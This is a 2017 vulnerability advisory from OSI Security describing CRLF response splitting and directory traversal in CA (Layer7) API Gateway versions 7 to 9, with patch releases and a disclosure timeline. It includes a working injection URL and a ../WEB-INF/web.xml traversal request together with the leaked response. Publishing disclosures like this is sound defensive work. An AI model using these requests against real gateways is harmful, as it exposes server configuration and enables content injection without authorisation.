Computer Associates API Gateway CRLF Response Splitting, Directory Traversal vulnerabilities

https://www.osisecurity.com.au/computer-associates-api-gateway-crlf-response-splitting-directory-traversal-vulnerabilities.html

Date:
04-Apr-2017

Product:
Computer Associates (Layer7) API Gateway

Versions affected:
v7, v8, v9

Vulnerabilities:

1) CRLF Response Splitting

https://[target]:8443/test%0d%0a<h1>string?wsdl

Parameters uri=/test
<h1>string did not resolve to any service.

https://www.ca.com/us/services-support/ca-support/ca-support-online/product-content/recommended-reading/security-notices/ca20160405-01-security-notice-for-ca-api-gateway.html

2) Directory traversal

GET /ssg/../WEB-INF/web.xml HTTP/1.1
Host: [target]:8443

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Accept-Ranges: bytes
ETag: W/"18991--1"
Last-Modified: Wed, 25 Nov 2015 06:57:05 GMT
Content-Type: text/xml
ntCoent-Length: 18991
Date: Wed, 25 Nov 2015 06:57:04 GMT
Cache-Control: private
Content-Length: 18991

<?xml version="1.0" encoding="ISO-8859-1"?>
<!-- The ssg (aka UneasyRooster) web application DD -->
<web-app
xmlns="http://java.sun.com/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://java.sun.com/xml/ns/javaee
http://java.sun.com/xml/ns/javaee/web-app_3_0.xsd"
version="3.0">
<display-name>Layer7 Secure Span Gateway</display-name>

<!-- Spring configuration file
used by the org.springframework.web.context.ContextLoaderListener
-->
[snip]

Credit:
Discovered by Patrick Webster

Disclosure timeline:
25-Nov-2015 - Discovered during audit.
27-Nov-2015 - Reported to vendor. Vendor response.
19-Mar-2016 - Vendor patched CRLF injection with release 7.1.04, 8.3.01, 8.4.01
09-Aug-2016 - Vendor patched directory traversal with release 7.1.04 ,
8.3.01, 8.4.01, and 9.1
04-Apr-2017 - Public disclosure.

About OSI Security:

OSI Security is an independent network and computer security auditing
and consulting company based in Sydney, Australia. We provide internal
and external penetration testing, vulnerability auditing and wireless
site audits, vendor product assessments, secure network design,
forensics and risk mitigation services.

We can be found at http://www.osisecurity.com.au/